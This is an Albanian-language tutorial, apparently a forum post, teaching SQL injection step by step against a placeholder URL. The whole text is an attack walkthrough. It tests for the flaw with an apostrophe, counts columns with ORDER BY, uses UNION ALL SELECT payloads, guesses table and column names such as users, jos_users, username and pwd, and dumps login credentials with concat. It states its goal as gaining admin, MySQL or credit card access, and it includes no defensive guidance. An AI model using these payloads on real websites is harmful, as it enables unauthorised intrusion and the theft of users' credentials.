Së Pari cka është SQL-injetion?
-SQL-injetion është pra një ndër metodat më të perdorura ditët e sodit për të marr akses në ndonjë webfaqe. Kjo i jep leje sulmuesit që të sulmon përmes URL-së, që të merr informata të ndryshme, si aksese në MYSQL, faqen e administrimit(CPanel), CC, dhe info tjera të ndryshme.!
1). Provo se a është faqja vulnerability !!
Të themi se kemi dicka të till:
http://www.site.com/vesti.php?id=1
Tashti që të testojm se a është vulnerability, apo thjesht a ka buggs shkojm dhe ja shtojm ' (pra presjen lart). dhe kjo do të duket kështu:
http://www.site.com/vesti.php?id=1'
Pra pas kësaj nëse na jepë ndonjë error si psh.
"You have an error in your SQL syntax;" ose "Warning: mysql_result() [function.mysql-result]:"
Atëhere ne menjëher me këtë nënkuptojmë se faqja është vulnerability për SQL-injetion, pra ka buggs!
2). Si të gjejmë se sa numra të kolumnave ka SQL-ja në ndonji x faqe! (Numbers of Columns).
Për të gjetur sa sa Columna kemi përdorim: ORDER BY
Pra "order by" pa presje do të na ndihmon të gjejmë se sa kolumna kemi shkojm me shembull:
http://www.site.com/vesti.php?id=1 order by 1-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 2-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 3-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 4-- <-- Hapet faqja normal pra nuk na jep Error
http://www.site.com/vesti.php?id=1 order by 5-- <-- Error Pra këtu kemi error!
-Me këtë nënkuptojm se tek kjo faqe kemi 4 Kolumna pra e merrni numrin e fundit e cila nuk jep error!
3). Provo për UNION funksionin!
Pra tashti do të provojmë që të nxjerim numrat e kolumnave dhe info-t tjera në dritare të pc-së, përmes "Union all select".
Pra kemi:
http://www.site.com/vesti.php?id=1 union all select 1,2,3,4--
Nëse tek dritarja na shfaqen ndonjeri prej numrave prej 1-4 atëherë mirë është dhe funksionon krejt në rregull por në qoft se jo atëhere provoni të ja shtoni nji - (minus) perpara tek "1" i parë pra numrat munden të ndryshojnë mundet të jetë 50,71,82 etj shembull:
ë
http://www.site.com/vesti.php?id=-50 union all select 1,2,3,4--
ose
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4--
ose
http://www.site.com/vesti.php?id=-82 union all select 1,2,3,4--
Tashti duhet të na shfaqet ndonjëri prej 4 numrave pra prej 1-4 nëse shfaqet ndonjeri prej këtyre at here gjithcka është në rregull dhe vazhdojmë !!?
4). Si të gjejm Table_name dhe Column_name
-Pra kjo është një pjesë e rëndësishme e SQl-së.
Per te gjetur table_name provojmë: user/s, admin/s, member/s, login/s etj..
Kto janë në shumicen e faqeve table_name!! ka edhe tjera table_name si psh për joomla: jos_users, per mambo: mos_users etj.
Te themi që table_name është "users" dhe më pas shkojmë kështu:
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,4 from users--
Për të gjetur Column_name provojmë:
username, user_name, login, user_n etj..
Për password column_name provojmë:
password, pass, pwd, passwd etj.
Të themi që column_name janë username dhe pwd !! shkojmë të shohim si do të duket me shembull:
Final:
http://www.site.com/vesti.php?id=-71 union all select 1,username,3,pwd from users--
Ose nëse doni ti bashkoni column_names me një numër atëhere veprojmë me "concat(column_name,char(58),column_name)" shembull:
http://www.site.com/vesti.php?id=-71 union all select 1,2,3,concat(username,char(58),pwd) from users--
Pra numrat të cilët i shohim në dritare i zëvendësojmë me column_name si në rastin ton username dhe pwd.
Dhe më në fund dalin username dhe passwordi shembull:!!!
username: boom3rang
password: SQL-injetion
Më këtë mbarron mësimi i pare për SQL-injetion në gjuhën shqipe!!